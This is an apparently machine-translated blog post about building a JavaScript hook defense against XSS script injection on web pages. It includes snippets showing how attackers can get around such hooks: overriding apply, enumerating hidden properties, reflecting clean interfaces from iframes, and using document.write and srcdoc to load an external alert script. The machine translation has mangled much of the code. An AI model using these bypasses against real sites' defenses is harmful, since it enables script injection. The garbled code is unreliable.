Yesterday, I tried a series of suspicious module interception tests. Although the final scheme still has some compatibility problems, the general idea has been clarified:
- Static module: Use mutationobserver for scanning.
- Dynamic module: blocks path attributes through API hooks.
When talking about Hook programs, you will think of API hooks in traditional applications and various plug-in Trojans. Of course, it may not be a system function. Any CPU instruction can be rewritten as a jump instruction to run your program first.
At any level, the core philosophy of the hook program is the same: we can execute our program first without modifying the existing program.
This is a chained call mode. The caller does not need to care about the details of the upper level. The direct management is used, even if additional operations are not visible to the caller. This idea comes from the bottom layer of instruction interception, the inheritance of virtual functions at the language level, and a higher level of aspect orientation.
Any mode can be implemented for a flexible language like JavaScript. I have previously worked on a webpage version of the Variable Speed Gear, using this type of principle.
Javascript Hook Test
It is very simple to implement a basic hook program, which has been demonstrated before. Now let's implement a hook for the setattribute interface:
// Save the upper-level interface var raw_fn = element. prototype. setattribute; // hook the current interface element. prototype. setattribute = function (name, value) {// extra details are implemented if (this. tagname = 'script' &/^ SRC $/I. test (name) {If (/XSS /. test (value) {If (confirm ('try to load the suspicious module: \ n \ n' + URL +' \ n? ') {Return ;}} raw_fn.apply (this, arguments) ;}; // create the script var El = document. createelement ('script'); El. setattribute ('src', 'HTTP: // www.etherdream.com/xss/alert.js'); document. body. appendchild (EL );
Run
Similar to yesterday's accesser interception, we now perform similar monitoring on setattribute. Because it is a function, all mainstream browsers are compatible.
Hook Leakage
It seems that there is no difficulty, and there is nothing wrong with it. Isn't that enough?
If this code is used in the end, it would be too frustrating. We expose the original interfaces to global variables. Attackers can bypass our detection code by taking this variable:
VaR El = document. createelement ('script'); // directly call the original interface raw_fn.call (El, 'src', 'HTTP: // www.etherdream.com/xss/alert.js'); document. body. appendchild (EL );
Run
It's just a test. In reality, who will put it in a global variable? In this year, the scripts without a closure are all embarrassed to come up with them.
Okay, let me put it in the closure. This is always safe. Let's see how you steal things from my closures.
(Function () {// Save the upper-level interface var raw_fn = element. Prototype. setattribute ;...})();
However, if you want to steal it, it is absolutely no problem!
The only use of this variable is:
raw_fn.apply(this, arguments)
This is not an atomic operation, but a global function called function. Prototype. Apply. Shenma... This. It's true. If you don't believe it, try it!
Needless to say, you also understand. Let's just finish it: we can rewrite apply, and then just give the setattribute element to snoop the raw_fn passed by the hook.
Function. prototype. apply = function () {console. log ('haha, get the original interface: ', this) ;}; document. body. setattribute ('A', 1 );
Run
This is too cheap. But people can use this trick to bypass you.
You will think, simply save function. Prototype. apply in advance. Then, you will find that the Code becomes apply. Apply. apply...
After all, apply and call are already at the bottom layer, and you cannot call yourself any more.
What can I do. Obviously, you cannot use apply or call again, but you cannot use them to pass this variable. In retrospect, what methods can be used to control this:
OBJ. Method ()
Method. Call (OBJ)
It seems that there are two types. The second method is excluded, so there is only the oldest usage. However, we have rewritten the existing interface and then called ourselves to recursively overflow.
However, we can change the name of the original interface to avoid conflict:
(Function () {// Save the element of the upper-level interface. prototype. _ setattribute = element. prototype. setattribute; // hook the current interface element. prototype. setattribute = function (name, value) {// extra implementation details... // call this up. _ setattribute (name, value );};})();
Run
In this way, we can get rid of the apply burden, But no matter whether we get "_ setattribute" or change it to another name, people will know it, so they can still come up with the original interface. Therefore, we have to get a complicated name. It is best to keep it different each time:
(Function () {// obtain the domineering name var token = '$' + math. random (); // Save the element of the upper-level interface. prototype [token] = element. prototype. setattribute; // hook the current interface element. prototype. setattribute = function (name, value) {// extra implementation details... // call this [token] (name, value );};})();
Run
Now, you have no idea where I hid the original interface, and usethis[token](...)
This clever method also conforms to the first type of usage just listed.
The problem seems to be... Solved. But I always feel something is wrong... People don't know where the variables are hidden. Can't they find them. Repeat element. Prototype one by one and find it one by one. I don't believe this will happen:
For (var k in element. prototype) {console. log (k); If (K. substr (0, 1) = '$') {console. error ('Upstairs, your name is so cumbersome, dare to reveal it '); console. error (element. prototype [k]) ;}}
Run
The name is like a firefly in the dark. You will say, why not name a hidden point, or even pretend to be a good citizen, and replace the methods you have never used.
However, no matter how you want to hide it, it is futile. There are several ways to expose your image. Unless -- cannot be enumerated.
Attribute stealth
If you remember correctly, the mainstream JavaScript seems to have something like enumerable and retriable. Move them out to see if they can provide us with stealth functions?
Try it now:
// Hush ~ The employee wants to hide object. defineproperty (element. prototype, Token, {value: element. Prototype. setattribute, enumerable: false });
Run
Magic: the red word did not appear. It seems to be truly invisible!
At this point, we have fixed the problem of original function leakage.
But it cannot be relaxed yet. Why? Even apply can be used as a cottage. What else can I believe! The test method of the regular expression, the case-sensitivity conversion of the string, and the foreach method of the array can all be rewritten.
If people rewrite Regexp. Prototype. Test and always return false, our policy judgment will be completely invalid.
Therefore, we have to repeat the above steps to randomly hide the global methods used during the operation.
Lock call and apply
However, it seems quite cumbersome to hide a lot of code using this geek method.
Since there is magic like stealth, isn't there anything like it? In fact, there are many interesting functions in object. defineproperty. In addition to making attributes invisible, they can also be writable and non-deleted.
Can attributes not be written? That's great. Let's just lock function. Prototype. Call and apply in advance. Who will be bored with rewriting them anyway.
Object. defineproperty (function. prototype, 'call', {value: function. Prototype. Call, writable: false, retriable: false, enumerable: true}); // The same applies
Check the effect immediately:
Function.prototype.call = function() {alert('hello');};console.log(Function.prototype.call);
Sure enough.
function call() { [native code] }
Run
Now, we can safely use call and apply, and no longer need to drum up the random attributes.
However, this random + hidden attribute will be useful in the future. It is often used to mark public objects as a secret, so there is no such thing as hard work.
At this point, we can finally breathe a sigh of relief.
New Page reflection
Don't be happy too early. The real problem is still coming.
Since people want to crack, they will use all kinds of means, not limited to pure scripts. Because this is in the web page, attackers can also call out a variety of unpredictable browser functions to avoid us.
The simplest thing is to create a framework page and use contentWindow to get a brand new environment:
// Reflect the pure interface var FRM = document. createelement ('iframe'); document. body. appendchild (FRM); var raw_fn = FRM. contentWindow. element. prototype. setattribute; // create the script var El = document. createelement ('script'); raw_fn.call (El, 'src', 'HTTP: // www.etherdream.com/xss/alert.js'); document. body. appendchild (EL );
Run
At this time, our hook program was instantly killed in seconds.
Although the same-source pages can access each other, their environments are isolated. All the sub-pages are independent copies and are not affected by the home page.
However, since you can access sub-pages, you can obviously install hooks for their environments. Every time a new framework element appears, we immediately inject a protection program into it so that the contentWindow obtained by the user has a hook.
Similar to traditional applications, security software protects new processes whenever other programs are called.
You said it would be easy. Hook up the createelement method, and then judge whether the created framework element is in it. If yes, directly protect the sub-page. Isn't that enough?
Obviously, this is hard to handle. In fact, as long as you test it, you will find that the Framework element not mounted to the master node is always null in contentWindow. That is to say, subpages must be initialized only after appendchild is called.
Therefore, we have to find an event that can be triggered after appendchild but before the user obtains the contentWindow with the help of the node Mount event we have previously studied.
VaR observer = new mutationobserver (function (mutations) {console. log ('mutationobserver: ', mutations) ;}); Observer. observe (document, {subtree: True, childlist: true}); document. addeventlistener ('domainnodeinserted', function (e) {console. log ('domainserted: ', e) ;}, true); // reflect the pure interface var FRM = document. createelement ('iframe'); console. warn ('begin'); document. body. appendchild (FRM); console. warn ('end'); var raw_fn = FRM. contentWindow. element. prototype. setattribute;/** output begindomnodeinserted mutationeventendmutationobserver: array [1] mutationobserver: array [1] */
Run
No, domnodeinserted can meet our needs. Therefore, we use it to monitor framework elements.
Once a framework is mounted to the master node, we can quickly mount its interface with a hook:
// Our defense system (function () {function installhook (window) {// Save the upper-level interface var raw_fn = Window. element. prototype. setattribute; // hook the current interface window. element. prototype. setattribute = function (name, value) {// try alert (name); // call raw_fn.apply (this, arguments );};} // first protect the current page installhook (window); document. addeventlistener ('domnodeinserted', function (e) {var element = e.tar get; // You can also set a hook if (element. tagname = 'iframe') {installhook (element. contentWindow) ;}}, true) ;}(); // reflect the pure interface var FRM = document. createelement ('iframe'); document. body. appendchild (FRM); var raw_fn = FRM. contentWindow. element. prototype. setattribute; // create the script var El = document. createelement ('script'); raw_fn.call (El, 'src', 'HTTP: // www.etherdream.com/xss/alert.js'); document. body. appendchild (EL );
Run
Perfect! The dialog box is displayed! Even if a new environment is reflected from the Framework page, our hook program is still included.
However, it seems that something is missing. If we repeat the frame page from the frame page, we will have the following:
// Create the framework page var FRM = document. createelement ('iframe'); document. body. appendchild (FRM); // create the framework page var Doc = FRM. contentdocument; var frm2 = Doc. createelement ('iframe'); Doc. body. appendchild (frm2); // reflection interface var raw_fn = frm2.contentwindow. element. prototype. setattribute; // create the script var El = document. createelement ('script'); raw_fn.call (El, 'src', 'HTTP: // www.etherdream.com/xss/alert.js'); document. body. appendchild (EL );
Run
As mentioned above, each page environment is independent, and the main page cannot capture events in the subpage. Therefore, we do not know how to create elements on the Framework page.
How can this problem be solved? This is not simple. Simply add the domnodeinserted event to the Framework page, so you can monitor it layer by layer. No matter how powerful the framework is, it cannot escape our eyes.
// Our defense system (function () {function installhook (window) {// Save the upper-level interface var raw_fn = Window. element. prototype. setattribute; // hook the current interface window. element. prototype. setattribute = function (name, value) {// try alert (name); // call raw_fn.apply (this, arguments) ;}; // monitor the metadata of the current environment using Doc ument. addeventlistener ('domnodeinserted', function (e) {var element = e.tar get; // You can also set a hook if (element. tagname = 'iframe') {installhook (element. contentWindow) ;}}, true) ;}// first protect the current page installhook (window );})();
Run
You only need to make small changes. We put domnodeinserted in installhook, so as to monitor the elements in the current window while installing the hook. Recursive protection is enabled once a frame element appears.
Now our framework page monitoring is seamless.
New Page Reverse Control
However, there is no absolute thing in the world.
We only considered positive reflection, but forgot that the framework can also reverse control the home page. If attackers can inject XSS scripts into the framework page, they can also modify the content on the home page and initiate a trust attack.
Introduce scripts in the Framework, so there are more methods. Although the framework element is dynamically created, its content can be statically rendered:
// Create the framework page var FRM = document. createelement ('iframe'); document. body. appendchild (FRM); // frm is displayed statically. contentdocument. write ('<\ Script src = http://www.etherdream.com/xss/alert.js> <\/SCRIPT> ');
Run
This is just a simple example. In fact, HTML5 also adds an attribute that can directly control the content of the framework page: srcdoc.
<iframe srcdoc="<script src=http://www.etherdream.com/xss/alert.js></script>"></iframe>
Run
It is also executed in the same-source environment:
<iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe>
Run
After half a day, the results can still be bypassed.
But don't be discouraged. After testing, the content written in document. Write can be captured by mutationobserver. As for srcdoc, you can disable this partial attribute, or rewrite the accessors to delegate HTML content to the page in other ways. However, this is not the mainstream usage, as long as the final effect is the same, it will be okay.
Of course, what should I do if document. Write is on the homepage? The script can run, but is it not white screen. If you think this is risky, you can block document. Write after domcontentloaded to avoid future risks.
Postscript
Although the magic is too high, there is still an unexpected way to bypass the solid hook. Therefore, we must keep pace with the times and constantly improve our defense capabilities.
So far, we have implemented active defense against scripts, frameworks, and API interfaces. However, there are more than these elements with execution capabilities.
For example, flash can run the script on the page, which occupies so many elements as object, embed, And Param.
Besides, the API protection hooks are not comprehensive, but some common examples are provided.
In the next article, we will detail the monitoring points to be protected to achieve comprehensive protection.